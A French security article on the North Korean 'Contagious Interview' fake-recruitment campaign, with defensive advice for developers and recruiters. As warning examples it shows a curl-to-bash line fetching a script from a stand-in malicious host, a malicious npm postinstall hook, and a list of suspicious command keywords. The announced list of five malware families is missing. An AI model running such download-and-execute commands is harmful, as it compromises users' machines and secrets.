WaterPlum et la campagne « Contagious Interview » : le cauchemar des développeurs ciblés par de faux recrutements

Avez-vous déjà postulé à une offre d’emploi dans l’univers des cryptomonnaies ou de l’IA qui semblait trop belle pour être vraie ? Imaginez devoir exécuter un test technique devant votre écran, sans savoir que ce simple geste ouvre la porte à un malware. Ce scénario est devenu une réalité pour des milliers de développeurs à travers le monde. Selon une enquête conjointe des agences de cybersécurité de quatre pays, la campagne baptisée « Contagious Interview », menée par le groupe nord-coréen WaterPlum, a déjà compromis plus de 30 000 ordinateurs dans plus de 100 pays et dérobé environ 1,7 milliard de yens (10,7 millions de dollars) en cryptomonnaies. Cette opération, qui a principalement touché les secteurs de la blockchain et de l’IA, a été officiellement attribuée le 18 septembre 2026 dans un rapport conjoint. Cet article vous explique en détail le fonctionnement de cette menace et vous fournit des mesures concrètes pour vous en protéger, que vous soyez développeur, recruteur ou responsable de la sécurité.

Qu’est-ce que la campagne « Contagious Interview » et le groupe WaterPlum ?

Une attribution formelle inédite

Le 18 septembre 2026, les agences de cybersécurité du Japon (National Police Agency et National Cybersecurity Office), des États-Unis (FBI et Cyber Crime Center du Département de la Défense), de l’Australie (Australian Cyber Security Centre) et de l’Allemagne (BND et BfV) ont publié une recommandation conjointe attribuant formellement la campagne « Contagious Interview » au groupe parrainé par l’État nord-coréen, WaterPlum. Selon ce document, WaterPlum relèverait du 313e Bureau général du Département de l’industrie de l’armement nord-coréen, une entité chargée de la production d’armes et de missiles. Cette attribution officielle place l’opération dans la catégorie des cyberactivités étatiques visant à générer des revenus pour le régime, et non comme une simple délinquance financière. Le choix d’inclure les services de renseignement allemands (BND, BfV) montre que la menace concerne également l’Europe.

Cette coordination entre quatre grandes puissances est remarquable : elle démontre une convergence de renseignements et une volonté de frapper les infrastructures de financement du programme d’armement nord-coréen. L’advisory fournit des indicateurs techniques détaillés (IOC) - noms de domaines, hachages de fichiers, adresses IP - ainsi que des recommandations pour les organisations et les particuliers. Il s’agit de la première fois que ce groupe est officiellement nommé par une coalition aussi large, ce qui renforce la crédibilité de l’attribution.

WaterPlum n’est pas un nouveau venu : les experts en sécurité estiment que ce groupe est actif depuis plusieurs années, mais il opérait jusqu’ici dans l’ombre. La campagne « Contagious Interview » serait l’une de ses opérations les plus abouties, combinant ingénierie sociale, développement de malwares sur mesure et exploitation des plateformes de recrutement.

Des cibles individuelles soigneusement sélectionnées

Contrairement à de nombreuses campagnes qui visent indistinctement des entreprises ou des institutions, « Contagious Interview » cible spécifiquement des individus : développeurs, web designers, spécialistes blockchain, ingénieurs IA et experts en cryptomonnaies. Les attaquants se font passer pour des recruteurs d’entreprises fictives ou réelles opérant dans les secteurs porteurs (IA, NFT, cryptomonnaies). Ils utilisent les réseaux sociaux professionnels comme LinkedIn, les plateformes d’emploi (Indeed, Monster) et les marchés freelance (Upwork, Fiverr) pour approcher leurs proies.

Pourquoi ces profils ? Parce qu’ils manipulent quotidiennement des actifs numériques de valeur, qu’ils ont souvent accès à des infrastructures sensibles (code source, clés API, environnements cloud) et qu’ils sont habitués à exécuter du code provenant de sources externes. Cette confiance naturelle dans les outils de développement est exploitée avec une précision diabolique. En ciblant des professionnels de la tech, les attaquants maximisent leur retour sur investissement : une seule infection peut rapporter des milliers de dollars en cryptomonnaies, sans parler de l’accès à des réseaux d’entreprise. Les victimes sont souvent des travailleurs indépendants ou des employés d’entreprises de taille moyenne, moins bien protégés que les grandes organisations. Le rapport conjoint souligne que les attaquants adaptent leurs offres d’emploi aux tendances du marché, ce qui leur permet d’attirer un grand nombre de candidats.

Le mode opératoire : un entretien technique piégé

L’appât : un test de codage ou un problème de visioconférence

La méthode est étonnamment simple et efficace. Le recruteur frauduleux prend contact avec la victime potentielle et planifie un entretien technique. À un moment donné, le candidat est invité à exécuter un exercice de codage ou à résoudre un problème de connexion vidéo. L’une ou l’autre de ces tâches nécessite l’exécution d’un code ou d’une commande sur la machine de la victime. Ce code contient en réalité un malware, souvent livré via des paquets npm malveillants hébergés sur des plateformes de confiance comme GitHub ou Bitbucket. Dans le cas de la visioconférence, la victime peut être dirigée vers un site web qui télécharge un fichier ou exécute un script PowerShell.

Les autorités décrivent l’objectif comme étant d’infiltrer « les réseaux informatiques de demandeurs d’emploi sans méfiance, de récolter des informations sensibles et de voler des cryptomonnaies ». L’infection peut être immédiate ou dormante selon la souche de malware utilisée. Dans certains cas, le code malveillant est conçu pour ne s’activer qu’après un délai, afin de ne pas éveiller les soupçons de la victime.

Les cinq familles de malwares déployées

Les experts ont détaillé cinq souches distinctes, chacune dotée de capacités spécifiques pour l’espionnage et le vol :

Ensemble, ces malwares sont capables de siphonner les identifiants de connexion, les contenus du presse-papiers, les frappes clavier, les captures d’écran, les clés de portefeuilles de cryptomonnaies et les phrases mnémoniques (seed phrases), les documents d’identité et le code source. La police japonaise a enregistré environ 7 000 cas de portefeuilles de cryptomonnaies compromis entre décembre 2025 et juillet 2026, ce qui atteste de l’efficacité de la campagne sur une période relativement courte. Les malwares sont régulièrement mis à jour pour contourner les antivirus et les solutions de détection. Par exemple, BeaverTail utilise des techniques d’obfuscation avancées et se fait passer pour des bibliothèques légitimes. InvisibleFerret peut désactiver les processus de sécurité et voler des tokens d’authentification. OtterCookie est particulièrement dangereux car il donne un accès complet à la machine et peut être utilisé comme point d’entrée pour des attaques ultérieures.

Un lien direct avec le système de travailleurs IT nord-coréens

La campagne « Contagious Interview » n’est pas une simple opération de cybercriminalité. Elle est étroitement liée au stratagème plus large des travailleurs informatiques nord-coréens (North Korean IT Workers Scheme). Les agences de renseignement considèrent que les deux activités sont les deux faces d’un même dispositif de levée de fonds pour l’État nord-coréen.

D’un côté, le volet « entretien contaminé » infecte directement des machines pour voler des actifs. De l’autre, les opérateurs de WaterPlum utilisent des identités volées pour se faire embaucher comme développeurs freelance dans des entreprises occidentales. Ils masquent leur localisation via des serveurs privés virtuels (VPN, VPS) et travaillent depuis la Corée du Nord, la Chine, la Russie, l’Afrique ou l’Asie du Sud-Est. Pour donner l’illusion d’une présence légitime, ils s’appuient sur des « fermes d’ordinateurs portables » (laptop farms) installées chez des complices qui fournissent des adresses IP locales plausibles. Des enquêtes récentes ont montré que ces fermes pouvaient héberger des dizaines de machines, chacune avec une identité numérique distincte.

Lorsque des litiges surviennent (impayés, conflits sur le travail), ces travailleurs peuvent se livrer à des extorsions : dégradation de sites web, publication de code source volé ou menaces directes. Les enquêteurs japonais ont démantelé une de ces fermes et ont retracé plusieurs centaines de millions de yens à l’étranger. Cette double activité - infection via les entretiens et infiltration comme employé - constitue une menace composite qui oblige les entreprises à repenser leurs processus de recrutement et de sécurité.

L’ampleur des dégâts et les risques

Statistiques révélatrices

• Plus de 30 000 ordinateurs infectés dans plus de 100 pays.
• Environ 1,7 milliard de yens (soit environ 10,7 millions de dollars) de cryptomonnaies volés, principalement en bitcoins, ether et autres actifs numériques.
• 7 000 cas de portefeuilles de cryptomonnaies compromis au Japon sur une période de six mois (décembre 2025 à juillet 2026).

Selon le rapport conjoint, ces chiffres sont probablement sous-estimés car de nombreuses victimes ne signalent pas l’incident. Le vol de cryptomonnaies n’est que la partie visible : les données dérobées (code source, identifiants, documents) peuvent être revendues ou utilisées pour d’autres attaques. Une entreprise dont le code source est volé peut subir un préjudice concurrentiel majeur, sans parler des atteintes à la réputation. Les autorités japonaises estiment que la phase la plus intense de la campagne s’est déroulée entre décembre 2025 et juillet 2026, mais l’opération se poursuit probablement avec des ajustements.

Une menace pour les entreprises et la conformité

Les entreprises qui emploient involontairement des travailleurs informatiques nord-coréens s’exposent à des risques juridiques et de sanctions. Le département d’État américain a émis une alerte à ce sujet en juillet 2025, et le ministère de la Justice a déjà poursuivi des facilitateurs et saisi des fermes d’ordinateurs portables. L’advisory insiste sur la nécessité de contrôles contractuels et de vérifications d’identité, estimant que la seule détection technique des malwares est insuffisante face à la menace.

« Les entreprises doivent vérifier les adresses IP des candidats par rapport à leur localisation déclarée, et être attentives aux refus d’entretiens en personne, aux problèmes audio/vidéo récurrents ou à l’utilisation de logiciels de maquillage facial. »

Le ministère des Affaires étrangères du Japon a déclaré qu’il « renforcerait ses efforts avec les alliés et les pays partageant les mêmes idées, ainsi qu’avec le secteur privé ». En Europe, l’ANSSI et l’ENISA pourraient émettre des recommandations complémentaires. Il est conseillé aux entreprises françaises de se référer aux guides de l’ANSSI sur la sécurisation des recrutements et la gestion des accès. Les sanctions internationales contre la Corée du Nord interdisent tout transfert de fonds ou de biens vers des entités liées au programme nucléaire ou balistique ; une entreprise qui paie un travailleur nord-coréen sans vérification pourrait être poursuivie.

Comment se protéger de WaterPlum et des faux entretiens ?

Recommandations pour les développeurs

Voici les mesures de base recommandées par les autorités :

1. N’exécutez jamais de code non fiable sur votre machine principale. Utilisez un environnement isolé (machine virtuelle, conteneur Docker) pour exécuter les tests techniques fournis par des recruteurs inconnus. Des outils comme VirtualBox ou Docker Desktop permettent de créer des sandboxes rapidement.
2. Analysez les commandes avant de les lancer. Méfiez-vous notamment des commandes contenant curl, base64, -enc, mshta, Invoke-WebRequest, wget ou toute forme de téléchargement suivi d’une exécution. Un appel à un domaine externe inconnu doit être considéré comme suspect.
3. Configurez votre environnement de développement en mode restreint. Sous Visual Studio Code, activez le Restricted Mode et inspectez systématiquement le fichier .vscode/tasks.json avant d’exécuter des tâches automatiques. Ce fichier peut contenir des instructions malveillantes.
4. En cas d’infection, considérez tous vos mots de passe, jetons et phrases mnémoniques comme compromis. Transférez vos actifs depuis un appareil sain, réinitialisez vos comptes et réinstallez complètement le système d’exploitation. Ne faites pas l’économie d’une réinstallation complète : certains malwares peuvent survivre à une simple suppression.
5. Signalez l’incident aux autorités compétentes (ANSSI, plateforme de signalement cyber) et à la plateforme de recrutement utilisée. Cela peut aider à démanteler le réseau.

Voici un exemple de code qui devrait immédiatement éveiller vos soupçons :

curl -s http://serveur-malveillant.com/install.sh | bash

Ce type de commande télécharge et exécute un script sans aucune vérification. De même, méfiez-vous des paquets npm contenant des scripts post-installation malveillants :

{
  "name": "test-technique",
  "scripts": {
    "postinstall": "node malicieux.js"
  }
}

« Toute commande qui télécharge et exécute du contenu en une seule opération est extrêmement suspecte. Vérifiez toujours la source avant de l’exécuter. »

Recommandations pour les recruteurs

• Vérifiez l’adresse IP des candidats à l’aide d’un service de géolocalisation et comparez-la avec le lieu de résidence déclaré. Un décalage important est un signal d’alarme.
• Soyez vigilant si le candidat refuse systématiquement les entretiens en personne ou les appels vidéo, si sa webcam semble truquée (utilisation de logiciel de maquillage facial) ou si la connexion audio/vidéo est régulièrement défaillante.
• Incluez dans vos contrats de freelance des clauses explicitant les interdictions de travail depuis certaines zones géographiques et exigez des justificatifs d’identité solides (passeport, vérification par un tiers de confiance).
• Sensibilisez vos équipes techniques à cette menace : un test technique ne doit jamais être exécuté sur une machine de production sans validation préalable. L’ANSSI rappelle que le code fourni par un tiers doit être considéré comme hostile tant qu’il n’a pas été audité.

Signes d’alerte à ne pas ignorer

• L’offre d’emploi semble trop attractive pour le profil du candidat (salaire très élevé, conditions exceptionnelles).
• L’entreprise est récente, ne possède qu’une présence en ligne minimale, ou son site web est générique.
• Le recruteur est pressant et exige que le test soit réalisé immédiatement, sans possibilité de poser des questions.
• La communication a lieu exclusivement via des messageries instantanées (Telegram, WhatsApp) sans aucun appel vidéo.
• Le projet à réaliser contient des dépendances obscures ou des appels à des domaines externes non documentés.
• Le code fourni contient des instructions suspectes comme curl, wget ou Invoke-WebRequest.

Conclusion : agir face à la menace WaterPlum

La campagne « Contagious Interview » du groupe WaterPlum incarne une menace protéiforme qui combine les techniques d’ingénierie sociale, l’usurpation d’identité, et des malwares spécialisés dans le vol de cryptomonnaies et de données. Son attribution officielle par quatre grandes nations occidentales confirme qu’il ne s’agit pas d’un simple fait divers, mais d’un mécanisme de financement d’un État doté d’armes de destruction massive.

Les développeurs et professionnels de l’IT sont les cibles privilégiées : ils doivent intégrer la défense contre ce type de menace dans leur routine numérique. Les entreprises, quant à elles, doivent renforcer leurs processus de recrutement et de vérification d’identité pour ne pas devenir, involontairement, les complices de ce système. La vigilance collective est l’arme la plus efficace : partager les signaux d’alerte, appliquer les mesures de prévention et signaler les incidents.

WaterPlum et la campagne « Contagious Interview » sont désormais dans le viseur des agences de cybersécurité internationales. Restez informé et appliquez les conseils de cet article pour ne pas devenir la prochaine statistique. Nous vous encourageons à partager ces informations avec vos collègues et votre réseau professionnel pour contribuer à réduire l’efficacité de cette menace.